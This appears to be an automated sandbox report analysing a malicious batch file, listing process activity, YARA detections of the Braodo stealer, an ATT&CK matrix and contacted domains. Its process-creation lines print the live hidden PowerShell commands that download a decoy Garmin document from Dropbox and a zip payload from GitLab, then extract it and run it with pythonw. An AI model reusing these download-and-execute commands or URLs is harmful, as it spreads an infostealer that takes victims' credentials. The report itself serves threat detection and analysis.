                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3700Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6120Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5926Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 799Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4320Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5390Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5338Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1217Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3334Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 807Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652Thread sleep count: 3700 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640Thread sleep count: 6120 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764Thread sleep time: -15679732462653109s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896Thread sleep count: 5926 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896Thread sleep count: 799 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924Thread sleep time: -2767011611056431s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7980Thread sleep count: 4320 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7980Thread sleep count: 5390 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012Thread sleep time: -11068046444225724s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3540Thread sleep count: 5338 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3540Thread sleep count: 1217 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2172Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1792Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1464Thread sleep count: 3334 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1464Thread sleep count: 807 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4872Thread sleep time: -1844674407370954s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: powershell.exe, 0000000C.00000002.1385589073.000001632A79C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1494836924.0000027541D02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  Yara detected Powershell download and execute
                  Source: Yara matchFile source: amsi64_7584.amsi.csv, type: OTHER
                  Source: Yara matchFile source: amsi64_7932.amsi.csv, type: OTHER
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7584, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7932, type: MEMORYSTR
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp.com 437Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I set "C:\Users\user\Desktop\De17De16.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I goto "C:\Users\user\Desktop\De17De16.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I echo "C:\Users\user\Desktop\De17De16.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I pause "C:\Users\user\Desktop\De17De16.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe fIndJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe findJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmpJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmpJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/garmin_campaign_information_for_partners_v10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'c:\users\user~1\appdata\local\temp\\garmin_campaign_information_for_partners_v10.docx')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/garvdsf/dsfg/-/raw/main/fga1712.zip', 'c:\users\public\document.zip')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/garmin_campaign_information_for_partners_v10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'c:\users\user~1\appdata\local\temp\\garmin_campaign_information_for_partners_v10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/garvdsf/dsfg/-/raw/main/fga1712.zip', 'c:\users\public\document.zip')"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior

                  Stealing of Sensitive Information

                  barindex
                  Yara detected Braodo
                  Source: Yara matchFile source: amsi64_7932.amsi.csv, type: OTHER
                  Source: Yara matchFile source: amsi64_2936.amsi.csv, type: OTHER
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7932, type: MEMORYSTR

                  Remote Access Functionality

                  barindex
                  Yara detected Braodo
                  Source: Yara matchFile source: amsi64_7932.amsi.csv, type: OTHER
                  Source: Yara matchFile source: amsi64_2936.amsi.csv, type: OTHER
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7932, type: MEMORYSTR

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information11
                  Scripting                  		Valid Accounts1
                  Command and Scripting Interpreter                  		11
                  Scripting                  		11
                  Process Injection                  		1
                  Masquerading                  		OS Credential Dumping11
                  Security Software Discovery                  		Remote Services1
                  Archive Collected Data                  		11
                  Encrypted Channel                  		Exfiltration Over Other Network MediumAbuse Accessibility Features
                  CredentialsDomainsDefault Accounts1
                  PowerShell                  		1
                  DLL Side-Loading                  		1
                  DLL Side-Loading                  		21
                  Virtualization/Sandbox Evasion                  		LSASS Memory1
                  Process Discovery                  		Remote Desktop ProtocolData from Removable Media1
                  Ingress Tool Transfer                  		Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)11
                  Process Injection                  		Security Account Manager21
                  Virtualization/Sandbox Evasion                  		SMB/Windows Admin SharesData from Network Shared Drive2
                  Non-Application Layer Protocol                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
                  Obfuscated Files or Information                  		NTDS1
                  Application Window Discovery                  		Distributed Component Object ModelInput Capture3
                  Application Layer Protocol                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                  DLL Side-Loading                  		LSA Secrets1
                  File and Directory Discovery                  		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials11
                  System Information Discovery                  		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  De17De16.bat3%ReversingLabs

                  Dropped Files

                  ⊘No Antivirus matches

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  http://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com0%Avira URL Cloudsafe
                  https://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com0%Avira URL Cloudsafe
                  https://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com/cd/0/get/CghKiWb2VytBJ3hY2rZyZ4xwz7WI0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  edge-block-www-env.dropbox-dns.com
                  		162.125.69.15
                  		truefalse
                    		high
                    gitlab.com
                    		172.65.251.78
                    		truefalse
                      		high
                      www-env.dropbox-dns.com
                      		162.125.69.18
                      		truefalse
                        		high
                        ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com
                        		unknown
                        		unknownfalse
                          		unknown
                          www.dropbox.com
                          		unknown
                          		unknownfalse
                            		high

